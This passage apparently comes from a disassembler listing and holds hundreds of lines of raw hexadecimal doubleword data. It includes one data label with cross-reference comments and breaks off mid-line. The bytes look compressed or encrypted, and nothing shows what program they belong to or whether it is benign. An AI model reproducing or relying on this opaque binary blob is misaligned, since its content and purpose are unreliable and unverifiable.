0BD518E64h, 3FA400CCh, 463AF034h, 90068D8h dd 9C557B50h, 94DD0BCh, 10BED3E1h, 927EDA80h, 78002CF9h dd 68EC2EA7h, 3DC51CDDh, 0DC00EE17h, 33AE29ACh, 0A0254C3h dd 7B4475FDh, 0C09062CDh, 165A20h, 0EA7149E5h, 4D54453Dh dd 8127E23Eh, 0F95BBDCCh, 0D040CDE7h, 89F8D1h, 0EC1F4B42h dd 37A91D8h, 0E6ED0900h, 0BB371B83h, 94881E60h, 0E258C01Dh dd 2EC2480Eh, 0BF3B7700h, 22937ABEh, 9C260073h, 65FE2160h dd 2D005B61h, 0E51FB7A6h, 35DCF27h, 9373FA0h, 0F5A86D77h dd 2E038CBFh, 0C7BE5FCDh, 0EDCE98D2h, 25A90FDCh, 0D060B65Bh dd 0A66B53BFh, 0C9002DEAh, 802AFEE0h, 18CA01h, 674B1931h dd 93860D33h, 0B921AB07h, 6CF0CC14h, 3305AC4h, 2297854h dd 7BF85D81h, 1D00D7E6h, 0BD43D6B8h, 0BF5EF5h, 53E46083h dd 28CCBE32h, 437CF0E7h, 36E50F02h, 1AD5709h, 0D4DBC469h dd 1800E8C2h, 0AA85CD7Ah, 70877Eh, 8281548Ah, 0B109D0E0h dd 0F6AFC907h, 3D20BA7Fh, 2C92E5h, 0BDC0885Bh, 0DC85E06Eh dd 3A1C427Fh, 17C0E46Ah, 0B34A02EDh, 0AC220FCAh, 2F804CE8h dd 0E7205333h, 5D30A00h, 7E195C2h, 0D69EF9ABh, 5A750073h dd 31312CDh, 59A1A502h, 0E3275E6Dh, 6A6CA8E6h, 0E57A00EDh dd 0C697CA1Fh, 9800E240h, 5F116091h, 3B1BDBh, 0AB7CF993h dd 0A615376Ch, 621ED2F6h, 0DFC03EA0h, 0F0B6EF23h, 0E2F400E0h dd 0D1270467h, 4779297Bh, 0E15ACC00h, 46595E68h, 58937455h dd 0C8278FA2h, 0FD22D28Fh, 0C80896Ah, 71305E4Ah, 31E17E07h dd 41C41973h, 2957A080h dd 1C2100C6h, 3EA106A4h, 0AB003FB5h, 0D20993A2h, 483AB75Fh dd 43005CF3h, 0B5918B36h, 0DF07F57Dh, 5DCB3721h, 77938E37h dd 7C4000AFh, 995C9B6Ch, 29010F4Dh, 57A7C7D8h, 2E70CFE1h dd 0A1353C80h, 0C3F28906h, 0F178FEEAh, 72F0EC00h, 4C1E7E7Ah dd 80920EC2h, 13A1A254h, 20B6FFE3h, 0BE007F10h, 0B2447625h dd 0E67D91F6h, 107960EBh, 0EF05621Eh, 7AD9E00h, 55EC3933h dd 0FC190251h, 0D4D84159h, 90266480h, 0F600D5B5h, 0EBD98196h dd 0F80D05DBh, 488F001Fh, 0F1207EA1h, 4439C7FDh, 80B03EAFh dd 91D2C5D5h, 2F01CBh, 0EAC2898Ah, 0A79D1BC6h, 77C1B91Dh dd 670B534Fh, 5E40D183h, 12E761Eh, 6DD36C79h, 0D0D0E73Ah dd 603EAB5Dh, 0D150814Bh, 0FFFA828h, 812720h, 3419D661h dd 8854F97Fh, 37A4238h, 3D104A5Fh, 0BF18800Dh, 188148B2h dd 1F070F00h, 0BC0213F2h, 2E003DB8h, 798CFC3Bh, 71D2D467h dd 9534280Fh, 0F3E11DC8h, 0D5FB8296h, 88A0F2A3h, 1F4EB21Ch dd 840E4803h, 0DEBE499Fh, 4FF861h, 57629EDAh, 5F27A74Dh dd 510D5D00h, 6F60AAE8h, 83DF0007h, 0A949C765h, 0B502802h dd 0C178862Ch, 0DADD2500h, 0BB70C687h, 0BA9612C0h, 0B73806B3h dd 2A0069ABh, 0E5C47AD4h, 6C7DBDh, 0BA311083h, 8988846Eh dd 4EBF6B07h, 4AC0C58Bh, 4835D0A1h, 0ED03DAEBh, 1EA02968h dd 2D0BFFB0h, 8A0084B2h, 433624DCh, 0BA6A8Ch, 9BF1BCFEh dd 397AD3C8h, 2808CF37h, 8520A540h, 8FB200A4h, 253A318h dd 73E8B9A9h, 8C7E49h, 78D6E2DCh, 22446F0h, 551E89F7h dd 0F460EF4Fh, 0A008E1Ah, 2258BDAh, 70678DFDh, 5B4924A2h dd 97840054h, 7E9079E2h, 33C7BF06h, 30081EDDh, 0C820EC61h dd 5F005CF2h, 0CDEBCA87h, 7893222Dh, 74F3075Ah, 3097114Fh dd 11D1B34h, 7FBEB400h, 0C7281CD8h, 0E0840E75h, 0E4205367h dd 6C6F825Ch, 0B32678CFh, 0D999A000h, 89ADDBh, 0E20587D4h dd 7AB64345h, 774030D8h, 126F0BF6h, 0D8069E1h, 0DE76B711h dd 1C14E360h, 58A41DB5h, 58062C38h, 18B44827h, 0EDA25E0Ah dd 0CB8774AAh, 80F2F579h, 804A19C6h, 5C261D21h, 1FF5A243h dd 41871599h, 77A31CDCh, 9001F796h, 485B71FFh, 7081B49Eh dd 0F9E830C4h, 2C8760E2h, 6F365101h, 3499DD9h, 7B511C4h dd 0AA628E34h, 7F8B370h, 7EF23CD1h, 1D3D8BB0h, 0C064BCB9h dd 0A5D1893Eh, 70006FE6h, 0C1E81E9Ch, 6C53DB5h, 0A2A1B8ADh dd 0F80348D8h, 214EB355h, 84590196h, 2DFC61F7h, 9017D07Dh dd 60FE1400h, 0E0550259h, 3E7B00DDh, 8A739DEFh, 9230C045h dd 57231856h, 1CBA7522h, 0C09ACC6Dh, 6734D794h, 2B00EEE2h dd 7C8523E7h, 0E24174Ch, 21021991h, 0D3E069A0h, 4A0765D4h dd 6BFE0109h, 30E72C20h, 26200040h, 0D4A72B8Dh, 23009750h dd 0E4036C5Eh, 0D16183h, 92AA0AB6h, 9ED809F2h, 6F356701h dd 0B829EC51h, 36925D0h, 5B1E0671h, 10034CFBh, 5D1984DEh dd 9E99F8AFh, 0F86706A3h, 9037F656h, 7B3ACF00h, 2268FA92h dd 0A5760066h, 102EDB6Ah, 0DD3CB99Ch, 796C8051h, 0CDFAA4FEh dd 0ECD0001Ch, 7088F595h, 80E5B17h, 2C8C37C7h, 5043A60Fh dd 3C9A9D4h, 79F2E274h, 31EB637Eh, 5648E8D8h, 0AF1BB916h dd 0D5490807h, 3A37E03h, 0CD79D650h, 2FF05B9Eh, 0AA1E861Bh dd 684FA5EFh, 2877A081h, 0F8B64F96h, 0D962005Fh, 3EB3EB88h dd 0B1002FC8h, 0C022430Fh, 0EAD1C81h, 0AC8D279Dh, 0A13312A0h dd 0C7D4BB0h, 9600C474h, 3142A1Ah, 0DB5C9Dh, 3E02DEE7h dd 0CD91D746h, 0E89C8700h, 0CB9D1F71h, 566A0D82h, 0F8F9ED2Ch dd 460E335Fh, 9484B3h, 4A1F6F9Fh, 45C60F67h, 42A1B4D4h dd 0CCF71B66h, 200C5C4Eh, 487EF877h, 62F63975h, 2F5F478Eh dd 8106B60Bh, 0B100D9CBh, 0EA4D6A99h, 0EB8688h, 0D9F8D2A1h dd 4620700Bh, 97B1A228h, 0C48038C0h, 4D5C15h, 3F52FDFFh dd 540C7894h, 0A4B3B000h, 38E6B17h, 43F4001Bh, 65EFCE5Fh dd 0B0FEC2F0h, 0C0310700h, 0C5B6A99Bh, 663F0044h, 3E5EEC2Bh dd 1B06D1E8h, 0E09847EDh, 0F58600B4h, 3F43598Dh, 0B909DC6Bh dd 83AF5EF1h, 0F0BCBAD9h, 1CD3E70h, 0D07CFE05h, 0C08BF0E1h dd 0EE05AD23h, 0BE6D48A6h, 0BDE88F01h, 0B4EC6BD5h, 0B24A0026h dd 44C128CAh, 49C0D0B8h, 0CC951E1Bh, 3DE8A8h, 340A4DDBh dd 68192242h, 0BEBA8603h, 81B1E271h, 0C2FC8528h, 0E78E00F0h dd 59DBD848h, 0E10086F9h, 1DF2A963h, 0B05F96C6h, 70920740h dd 0B36A395Ch, 38C05BE0h, 0B003E89Bh, 45F3CE6Fh, 0A52FC026h dd 0B8F4CBh, 71334264h, 8E7A5019h, 1D7BA13Bh, 650F4ACAh dd 2F876099h, 1D3B812h, 7A23602Dh, 300E6B7Dh, 2C0E40DBh dd 0A03E04DEh, 74E8FB65h, 0A40300FAh, 25AD08E1h, 29580DD2h dd 0E9AC013Fh, 17C97375h, 0B0787F0h, 0F496045h, 0BB07B4D4h dd 0BEBFB41Bh, 671F5380h, 3DC41Eh, 926F18Ch, 7EF32D23h dd 571F20A5h, 0AB9B1663h, 2812CA07h, 9A23AD90h, 6A141E18h dd 89348042h, 0EFA97EB1h, 0B2CB5000h, 0F70F3DCEh, 243C0FADh dd 8621B41Fh, 0FCCAA944h, 0E0006418h, 0C524508h, 39115FDh dd 62CB4897h, 0FAFF38Dh, 9C1A6700h, 920018D4h, 4F2ED168h dd 7B195C28h, 130B1E3Bh, 0C4807E9Ah, 8FF949E7h, 1C00BA92h dd 0BE4737BCh, 0DADE44h, 8E97FE6Ah, 33B03A74h, 406E921Eh dd 0E69E7587h, 89AEA00Fh, 47532Dh, 12572A7Fh, 0B6C2A3B0h dd 0D764E600h, 2055D14h, 78F46013h, 883FE9Bh, 388F9130h dd 446F98h, 0FBBEF582h, 7AEC5755h, 0B09B8807h, 78B68959h dd 92FD1848h, 9110D8B3h, 0AEBBFE00h, 982C41F8h, 0A3A500FBh dd 0FD8CF1E6h, 460065DBh, 0A843ED6Dh, 1341E31Ch, 0D3B42Fh dd 3393C2FEh, 0C82CB1EFh, 8C000985h, 941C0EB8h, 0BCAF1845h dd 0E6449640h, 8076B928h, 0E8A66702h, 960C810Ah, 0F1E31020h dd 3620C192h, 7AF5C5CFh, 0AC9988B8h, 0B10A1A4Ah, 37CD54A8h dd 35A24F4h, 1BAE1976h, 2DE1018Ah, 92089487h, 3E0443B8h dd 15993EE5h, 0E90C8F07h, 30B6FAh, 64B00DA7h, 4A4B5986h dd 89E86D06h, 1118CA9Dh, 45ACF5Eh, 0C0CDBADCh, 0AB51D05h dd 900C9018h, 8678C595h, 0ACF82405h, 0BB540C1Dh, 0D0D11018h dd 0BC273487h, 0DC424519h, 0A6884821h, 20F0429Ah, 44AB3B10h dd 2342C410h, 18B1DC14h, 280CD82Ah, 21188721h, 0E208220Ch dd 2540429Bh, 28B58100h, 92311EDAh, 5DB29C90h, 0EF9884B8h dd 99BC9191h, 19A1F4B3h, 51F5C407h, 0B84A4773h, 0CAC86E80h dd 3FDE966h, 0DF37849Bh, 380FD681h, 0BD71988Ch, 0C8FBF3CAh dd 0A10B2600h, 0F64DDFh, 363943ECh, 48F53746h, 51759900h dd 0FCDCF719h, 8DB20608h, 8E11D15h, 0BCC538h, 0E0B47C92h dd 3E6EC74h, 59DF2E82h, 0E3FA66FFh, 69F14C90h, 0D8C0027Dh dd 0D358F9DAh, 0B9A1000Dh, 12D09FE1h, 0E8E2644Bh, 0DC003171h dd 329C6A6Eh, 1ED199DFh, 0C0223955h, 4ACF374Fh, 6F483C33h dd 0AB66008Ch, 0B4F54925h, 1CD15618h, 0F323EB10h, 9CC0BFD9h dd 0EF0A23h, 49DFE6E9h, 5807E5F2h, 2D84FE0Ah, 0E1D8C020h dd 0BDCD801Ah, 0F3D75F8h, 0E508860Eh, 728CB22h, 0A2F6E605h dd 0CEFEF07Bh, 0D31D164Ch, 44C3989Eh, 0A0F48625h, 0A61151D4h dd 63E265Ch, 0B52D0093h, 8AB9DD5Dh, 0C76C2A0Eh, 66F20096h dd 475CACh, 0C17004ADh, 4E2B18A5h, 33C9BB00h, 12D5E27Ah dd 0DE690074h, 18085521h dd 3B0001A6h, 0C50B494Eh, 281C577Eh, 1423E9h, 4CF31D95h dd 3CA86CE0h, 28203A00h, 0BDE11F4Ah, 0C7A400B8h, 9255BB0Fh dd 0EB00E5EAh, 1856C9DDh, 77DC512h, 2CD6AB5Bh, 142936Ch dd 0D3480BDh, 9D003381h, 5688DD23h, 1C02F17Bh, 0AAAA8F5Eh dd 4C3C5358h, 0BA1FF780h, 0E801C9C8h, 6153D21Eh, 8860A5D6h dd 10658EEh, 0F4C8E870h, 18BC7898h, 41952474h, 7064D21h dd 4979AE1Eh, 2530C450h, 0FABD81F3h, 0AF7B20D7h, 61810700h dd 0E6360B9Ch, 609400E3h, 3D3CEECEh, 0F00056DDh, 638F2135h dd 0F2D5C367h, 9D4001D8h, 0BCB46233h, 6978806Ch, 5DCBE16Ah dd 12063DD7h, 8AF8CC00h, 0D27F909Fh, 938F2F07h, 5E97537Eh dd 3E900386h, 406194A5h, 0E4792826h, 0CC006A77h, 8EDE6C41h dd 140EE6BBh, 807EC27Ah, 5EACE029h, 0C0EF98C0h, 0EA8629h dd 0BB0886Fh, 0B3C88B4Fh, 5400EE7Bh, 0B46C58DDh, 14E03169h dd 0BECA892Bh, 0AAF3E505h, 0A447F39h, 8030609Bh, 88193F02h dd 94040CCh, 27852403h, 7C63EE34h, 6988E0ECh, 7097F5FCh dd 0FF8F008Bh, 0E363A3DCh, 4B09A212h, 1676014h, 486469DFh dd 70575F8h, 3329DB6Eh, 400FB7F9h, 8EEC2FFEh, 7FDE4F06h dd 1C896364h, 8006F9E0h, 67879725h, 0C9B0A241h, 307EB90Ah dd 51C08460h, 90915548h, 1A08820h, 0A05B00A7h, 3CC1715Ch dd 0F9EC36B9h, 1741D739h, 2B00B64Eh, 0A68B7379h, 0E64C01BCh dd 0C59BBA93h, 746820E5h, 1E007D76h, 6CEDE220h, 1414B884h dd 0D08612F7h, 1C29B3Bh, 85664633h, 2845922h, 8A6052B4h dd 89DEE764h, 0A0898EAh, 510E3E68h, 4952AE00h, 926D8E40h dd 0E5E61001h, 7E382A33h, 91AB3DD4h, 350E5C0Ch, 8019B366h dd 54752A59h, 0E0492D5h, 0BF240F88h, 0F39F1220h, 0EA297660h dd 0C154FCA1h, 0C7400DC8h, 0B750E475h, 0F501F4A4h, 0B6AB375Fh dd 804C5593h, 0BE223F56h, 0B91DE00Eh, 0B37AF383h, 0F5F0D9E8h dd 0F9199A00h, 50E42F2h, 146700D8h, 44F122B9h, 0CD005F1Fh dd 0D3C19F9Ah, 3462C7Dh, 0FEFC86CFh, 0C0A711AEh, 7B75626Dh dd 0E7EEAE0h, 49A5E00h, 67E109DAh, 966D01C4h, 991C125Ch dd 1E30BC31h, 0C0D3E39h, 806E114Ch, 0C5BA37B3h, 0CD4110C1h dd 1843973Eh, 0E100FE9h, 7B01C209h, 0C4628FEEh, 1300E559h dd 1906E8ACh, 0ED69578h, 0F9C69CD7h, 4B01BED6h, 22C39B7Ch dd 0CD2C98EBh, 6E453B1Fh, 0C093AF9Eh, 567FFE8h, 0B31F51F7h dd 904E324Eh, 9406CEF5h, 6D82009Ch, 0A5E0C40Bh, 34C1006Eh dd 0AFC51A43h, 7303FA97h, 0FC614184h, 7005F8FFh, 8A7750h dd 0F8DB81C6h, 23862F2h, 0E8A5B8C6h, 7644074Eh, 5793C3h dd 0ADB77EEEh, 48004A77h, 0D11BFC60h, 0E8BBE40Ch, 0B0C9500Bh dd 0C024601Fh, 9BD290CCh, 7E301518h, 1AEC490h, 7C632CF1h dd 508D8591h, 8E0A72C8h, 0E402C300h, 0B82D188Ch, 7F8FF0B9h dd 0F36C0083h, 0C8931F63h, 6F0024BDh, 0CE61D2D6h, 3F8FE56h dd 0BF122B4Eh, 8182AC0h, 2E588E54h, 0C1FE001Dh, 78EC08E1h dd 0EF00AD74h, 0CE84B8C3h, 590535h, 296ECFAEh, 0D3D43144h dd 0FC7EC401h, 9D1F66EEh, 1FAC1824h, 684D8FC8h, 25A4013Ch dd 0D99B30F0h, 88CB0891h, 0FE00CCF8h, 0AC536CB6h, 0BC9C16h dd 0F5A4317Ah, 0E7CFA5E2h, 54909B7Bh, 87B78D03h, 0D0535534h dd 748C85EAh, 0D31228D6h, 30C200E0h, 0E6A541D2h, 0D803AF31h dd 0AA5B1673h, 10519682h, 9E72253Dh, 80168481h, 0CE0CF1E4h dd 48AE40h, 0CD8D31Bh, 34C41571h, 10DDA300h, 85CC2238h dd 2F9D0119h, 0B37FA18Eh, 0F5E4FC96h, 3900DBE0h, 4F9FA27Ch dd 0D51353h, 0FB3F285Ch, 30DAFA44h, 3E929E00h, 4EB95F4Dh dd 979B007Fh, 429DE818h, 760071BBh, 920BB870h, 3133FCh dd 1827B5DEh, 0E6AB9C17h, 9B006EEAh, 0B72B3044h, 3BEBD6F4h dd 339E5F5Ah, 1BD00092h, 148A1EBDh, 12D4D500h, 8659D6E1h dd 79200E5h, 610F2CB9h, 57005D83h, 3C93024h, 7CD5B09h dd 0E65F59C3h, 0D80BC095h, 2B735493h, 9F4CF400h, 715249BDh dd 8B66342h, 20019553h, 0D80CCF3h, 1CDC0183h, 2C87B39h dd 2372F8Fh, 0C240538Dh, 0DFB84CDBh, 5813B382h, 1F821BE0h dd 9C17F221h, 230B052h, 0EA032CE0h, 0A3EC0BABh, 0A5FB88A7h dd 2080E5C7h, 0AD502EBDh, 0EE76ED7Eh, 0C9EC30Fh, 7B8C6032h dd 622C16B7h, 5D397933h, 0F2F8E18h, 0E0593F4Fh, 95ED85D0h dd 0D000941Dh, 73110D14h, 991D3F77h, 9EE00600h, 37448765h dd 0B36C9B01h, 0BB4976B1h, 43CB9C48h, 4A69020Eh, 1C2146C6h dd 4D009A7Ch, 0B0A944F3h, 68583E5h, 55B14F79h, 0B300515Eh dd 77332576h, 4CD2BF60h, 7100A07Dh, 12A87F98h, 0C61F7A39h dd 0E04701B9h, 0E720618Ah, 0BD78DDh, 67620A1Fh, 28295AC5h dd 9A77E400h, 4ED2243Ch, 4376B0h, 6CC97D60h, 0B9F04C81h dd 556BC800h, 5838E59h, 71D907CAh, 60966F9Fh, 7AA9BD01h dd 1944B71Ch, 91C6FBC0h, 3136AD6h, 21EA7839h, 0F3C8DF40h dd 100F05A1h, 800F0495h, 0D462C5D7h, 0B0150038h, 0C9E06127h dd 0EF00848Bh, 1004471Eh, 0F39E09h, 25553001h, 0C5D049DAh dd 2E0A4A00h, 8EDED277h, 5BDD0320h, 7755AA9h, 0E141D7E2h dd 0C5188011h, 25CAA5DEh, 80F76329h, 40E91B2Eh, 5DA5605Ch dd 230031F8h, 0B9FF1269h, 0E419DFh, 965795B3h, 0F4052FA0h dd 0FE1C7DF0h, 1D0F4B72h, 27A48739h, 7C30509Ch, 75DFA8Eh dd 5CD80D65h, 9E04A0B5h, 51006D60h, 95A4DF91h, 16532E6h dd 82560771h, 0F09A7C52h, 0D35CC78Bh, 4D2D07ACh, 0F0B08DF6h dd 0F89830AEh, 81EF304Bh, 0FB6A9668h, 0D0A3F200h, 3A79D7F0h dd 0F4AD01ABh, 0D38B433h, 0DC22D0C9h, 230CD50Dh, 14D1CEF9h dd 3E526DE4h, 0B600986Ah, 21FE5F78h, 94791C0Fh, 4A6C11C0h dd 7D0B9ACAh, 0B1F501DDh, 24AE0698h, 9D1CF80Ah, 0A29CCD00h dd 0E2481575h, 738300ABh, 8B8AFC42h, 8100BD45h, 55829A18h dd 56C9B205h, 4CC0047Dh, 1507A5EAh, 8702427Dh, 9A0F1009h dd 0D03D573h, 0CAA8E39Dh, 6C70F752h, 22BFB503h, 0DFDE03h dd 0AEB93F20h, 0ACFF0294h, 88475A1Eh, 4FD66Fh, 0C7A33C08h dd 74005522h, 42D10605h, 671DE510h, 600B8083h, 0A170C051h dd 3BD3C300h, 27820D19h, 0C120DE7Fh, 3EC04D28h, 0A033D0D5h dd 71FF4303h, 396F90h, 0BE57D80h, 596B5FC0h, 3732D3Ah dd 0D8770AC1h, 902000BEh, 0C31D94E3h, 0BB908EA4h, 0B232DC00h dd 746C4FBCh, 967129E8h, 68050328h, 66B95C72h, 88B708CDh dd 8F005E0Eh, 0A14F6F2Bh, 8A23F6h, 3F403356h, 0A6760A7Fh dd 0BACAD501h, 57E1622h, 0F6DCD4h, 0C33A09AEh, 0B789849Fh dd 37F5A500h, 202A9982h, 0B2133015h, 6C895231h, 96A8B401h dd 4660397Bh, 0C05437F4h, 0A2AC7821h, 0A1FC97D9h, 0F154C48h dd 40C86482h, 58C4A701h, 0AC94A060h, 672E8655h, 3A1F598Ch dd 0D9446CEAh, 0C23139DCh, 2A198B00h, 0B5A0E816h, 0D5018903h dd 7156343Fh, 6590059h, 0A9B15236h, 0B04792Bh, 5AE2786h dd 30DCA880h, 1CE0A8C6h, 0BCF404h, 29AD0946h, 345211DBh dd 4035C63Ah, 67F40098h, 7B902C3Ah, 0BA2A6059h, 1948305Dh dd 0F7861F66h, 51353046h, 80BB7A60h, 5C00CB6Eh, 8BCF0DF6h dd 24A071D3h, 566010EAh, 0B2055D10h, 56516481h, 0EB6ECC25h dd 3ABA9500h, 0FC96C4F1h, 6065077Ch, 0D0D47954h, 66725520h dd 0B6860700h, 42100B5Fh dd 0B438A997h, 1231EBD4h, 2803217Fh db 98h byte_530055 db 5Ah, 0Eh, 0C5h ; DATA XREF: ___:off_437A24o ; ___:off_437A3Co dd 0A009FDAEh, 0F46006CFh, 0F07595h, 9CE3761Bh, 102E4939h dd 25BB400h, 4FA8630Dh, 0D4E4EB98h, 0C02400EEh, 7B47B19Fh dd 0C5001E84h, 107FDDB3h, 72893Fh, 0BD2EABE0h, 3073313h dd 245BD8FAh, 8E24A0h, 690A760h, 9D16A35h, 71AF1507h, 0EA806E5Ch dd 78ECBF0Eh, 32E8000Fh, 1D1FD206h, 7D1DA57Fh, 790C7EFDh dd 0B7209Dh, 0A3F702E3h, 77CA58AEh, 1F646700h, 3F48DF23h dd 0D491EC51h, 0E700DE68h, 0E1CF542h, 0A8002B9Bh, 0F03FBE47h dd 146E05Fh, 0DC218A5Ah, 0CCC85C12h, 0EA26590Bh, 0E107A6A7h dd 29009303h, 3B5484h, 0DBCF3E31h, 0FEAF3D9Fh, 0EBD7C800h dd 77A3AC1Fh, 4A042CAAh, 0B34D0018h, 3A50CFB2h, 0FD305D07h dd 0CB803433h, 360486E3h, 408E6F20h, 1AE4AF00h, 0EBF2FFFCh dd 0EAB00683h, 61E1855Fh, 57185C60h, 0AC94ECh, 0FA4FBE21h dd 7A026683h, 50157E07h, 0A7B3BDCAh, 9000E53Ch, 178FB7C8h dd 86EB00E8h, 1F31BEF8h, 3430BF9Fh, 87F02013h, 11590010h dd 0C0156ECAh, 1258E6F9h, 8CEE0C49h, 7C2A48DBh, 0CF079A7h dd 0CB0BDF10h, 3543AA68h, 59178800h, 0B9458F14h, 0E0F10085h dd 0B01AB17h, 623F6A07h, 2800A4D0h, 3D4E8B0Fh, 740344EFh dd 5F349296h, 54A7920Eh, 6DA4201Dh, 54154F8Ch, 1DE538DBh dd 55312A64h, 0C02A6CFFh, 0BDEA00E0h, 44517917h, 0F8585259h dd 87CD3FBDh, 41C857ADh, 0B61E0BD0h, 0E6A90F47h, 880FA37h dd 4F78B4A3h, 0EB5F8800h, 0FE0FD726h, 0E1103FF9h, 0F42DC080h dd 0E7A0891Eh, 0AFD56200h, 0E38C026Dh, 875094Bh, 6031E46Ah dd 0AAC8FFF8h, 60867EADh, 0BA7521BEh, 67030702h, 226B2ED8h dd 0B78D0CAh, 15FB1EA5h, 301C008Eh, 2CC6D8B1h, 0FFDB5C00h dd 0F62D0839h, 0EB060657h, 0A8C89A5Ah, 2E69F907h, 17490BF1h dd 80A891A4h, 394EF2BAh, 323B13C4h, 0B6E50080h, 0AEF87870h dd 934C2300h, 29CC5595h, 0AAB42A6Eh, 0C27C2CE0h, 73D8007Bh dd 3CF7808Dh, 50309E74h, 0CA9D2003h, 5E9C031Eh, 71A9481Ah dd 4A317090h, 0F291C00h, 0C3B0CBB1h, 24783D57h, 0F6398B07h dd 0F45AF070h, 9B2A717Eh, 0FF00FC9Eh, 4DB2C342h, 0AD8E14h dd 6B4EBF73h, 48B76046h, 0AAFC740Fh, 842F7254h, 0C012A310h dd 0E4273CB1h, 39D960FCh, 427B042Fh, 7E00B374h, 0BDEECCACh dd 0A817BAh, 0E71E3989h, 2C9177CBh, 0F3B18E00h, 9B702A1Ch dd 564034Dh, 3E61D2A5h, 50504FFBh, 2043CC9Ch, 0FF64AA03h dd 90401EFCh, 1788A24Ch, 0AD3C00F5h, 4E66B80Ah, 0F31855BEh dd 0EF797344h, 54E548FCh, 2822FC41h, 0C9AA6E1h, 75157929h dd 1E1B5CB4h, 0E9575105h, 0B85D6Ch, 19321C29h, 0FC01BAC1h dd 0A2DAD2ADh, 434442Ch, 5DE335D7h, 0F85C0150h, 858E5901h dd 0C9790F18h, 0ACE41281h, 188D2CDCh, 89E92641h, 0AB029A01h dd 36C583BAh, 6B80A0E8h, 0C3CA19F9h, 92176440h, 36A4880Fh dd 0FFA22077h, 0A3A76Bh, 27873A59h, 7274D8FEh, 0EE2D7809h dd 8A9800E8h, 7744CD89h, 2C920757h, 0CFCB7BA6h, 5CB0CE5Ah dd 0DB0E43B8h, 88F6632Ah, 21318C26h, 383FE780h, 54330047h dd 0F33E2EB7h, 929BA0AEh, 0D5CA24ADh, 60142490h, 3E9190D0h dd 1051CC1Dh, 0D342DB40h, 599FDh, 0E1590DC2h, 9DB43831h dd 6B0EA8C0h, 0A771E9h, 0FEBE6CBFh, 88DA3F03h, 0E8D36529h dd 867754D0h, 6B00C5FEh, 0D3DC4C87h, 1CBC6702h, 0E6DA50A4h dd 0C230197h, 50696105h, 6D61B2Ch, 0C71AF912h, 49142Ch dd 0F2D8EB81h, 9D6BBC44h, 65904054h, 0EEE4AA00h, 73028409h dd 6A7609CDh, 3C98199Eh, 0BE110306h, 25843D1Ch, 172300D7h dd 0B4EC103h, 0D6C7B15Fh, 0CB8D0883h, 0E8202126h, 31805E47h dd 2C73088Ah, 50F89CF2h, 0E5781A30h, 0BFD6A0Ah, 5E437066h dd 0E2C2F979h, 0FEDD9C59h, 0C856D601h, 0EC00A810h, 1E0C6AB3h dd 0A85B3E65h, 375280h, 5F55BF0Dh, 0A9C4F5A5h, 2879F300h dd 4A7C6729h, 39FCEFh, 641A4870h, 0F3A3FAF5h, 0F704FEE4h dd 8E38181Eh, 0C6880CC2h, 7D301CD4h, 0D10A8145h, 996BF54Ah dd 0CEF82E94h, 3F35422h, 2B10288Ah, 49A02C0Eh, 9E66004Ch dd 372AF952h, 8F489CFCh, 1FF80B38h, 36C82053h, 0C7FBB7F0h dd 0F4FF4298h, 1B50C84Ch, 276DB43h, 271EDC3Ch, 2811B94Bh dd 0B3CC2180h, 4CCF3621h, 5015AB31h, 60E0D739h, 51E9004Dh dd 846A80B1h, 0A600B87Ah, 0F97E13AFh, 1B71DB0h, 44E738D1h dd 0D0E4C065h, 20C0A069h, 51DCA5Fh, 0DFC0FD4h, 24032C07h dd 8AE0C577h, 0D80343A1h, 0E2F142F4h, 519CB045h, 0F794814h dd 3480013Ch, 1A291889h, 287B13EAh, 0E3B4F418h, 86AB7E88h dd 7B207C02h, 16DAD82Ah, 20165B04h, 80EE012Eh, 87555AB8h dd 34741B00h, 0EB524567h, 0D9AF3C13h, 18FD68BBh, 7837CF32h dd 85017BA8h, 149934C4h, 0FFB42Dh, 83120918h, 37B78ECh dd 0B95C0E1Eh, 0FEAF29CFh, 3133B79h, 0D0785396h, 7269B88Dh dd 0EB0A036Bh, 0F52432E2h, 0D4421BC0h, 0EA06F674h, 842D4866h dd 830A0028h, 62197E10h, 20C02CBFh, 0D73A2713h, 0F131C0CAh dd 0CB4679A7h, 26AF5C03h, 0E019ECEDh, 7656B02Dh, 104E6024h dd 9F85B10Ah, 2A7AC60Fh, 0A900310Eh, 0FAAF0D5h, 9E312EBCh dd 5D6648C5h, 208A7095h, 0B9A7F680h, 0BD549221h, 0B3298618h dd 58301480h, 0A42096D8h, 0E3A60314h, 0B4CA1C64h, 85300942h dd 483018F9h, 0E7102C6h, 44D36B52h, 0CC1C8B8Ah, 7B329070h dd 3F83906h, 300DA0E6h, 89202CBh, 0A910380Ah, 63998AAh dd 2330AE1Ch, 26807418h, 0AA1ED7A0h, 1B320A14h, 0D89C630Ah dd 1D4544E9h, 88464184h, 0E1A010C9h, 384C7690h, 0C8B50566h dd 701F2A1Eh, 59CC930h, 860418A4h, 2B657836h, 230A2128h dd 0CC0DA511h, 448EF8A2h, 0D57B8E70h, 0C6002CA6h, 4B529BFBh dd 141AA3CBh, 0B072B68Ah, 0B4795374h, 0A592709Bh, 0BF400844h dd 4888EFE6h, 0EA08E7ABh, 4D4B0AB4h, 7710348Ch, 264EE448h dd 0FC062049h, 0A7B18B01h, 9D7ACA1Ah, 65150BE0h, 4ED0871h dd 0A3C8AD0h, 0C15150CAh, 41260A0Ah, 1173A06Bh, 0C652C588h dd 62C9E046h, 0D72A08DBh, 686BDE60h, 3FE89C63h, 5710209Fh dd 603BEB30h, 0CD8044CBh, 0E0B0BE20h, 1B724A37h, 0A4A5B17Ch dd 3EBB6661h, 0A00F0830h, 0A9470B84h, 6886B0A4h, 1844EC8Bh dd 2B71F820h, 42F832F5h, 6C984D25h, 3C6F1C86h, 88D81A60h dd 0A08B4E0h, 0B7EB0729h, 388B4545h, 0AF4769ACh, 4635A601h dd 417A6A1Bh, 0BB14AF4h, 0C93E1D11h, 0AA70A3C6h, 8439CC18h dd 1E55A170h, 0E61E5248h, 1C4D80AAh, 25C5F088h, 2F414A0h dd 0B709AC89h, 18161F98h, 0E9FFAA06h, 0A28DD08h, 19424786h dd 72FE58A8h, 52BE0618h, 0C36EA628h, 0EF7C8AC0h, 6146AA2h dd 0DDF84320h, 0C61830CCh, 3B58EBF0h, 318A542h, 287FEBE9h dd 13E68909h, 6701C4Ch, 3C68101Eh, 60928C5h, 161C1A99h dd 8BD70CB0h, 262973DCh, 1B762C15h, 560BC33Ch, 1CBBA80h dd 2068E246h, 0B2A24758h, 0D9D8045h, 0E0CD3D45h, 305FAC4Dh dd 0C0180C60h, 4F103230h, 1174542Bh, 2E602099h, 0C6C5C2F3h dd 68AE8699h, 69486CFEh, 385730ECh, 4842AD6Bh, 77B0D84Eh dd 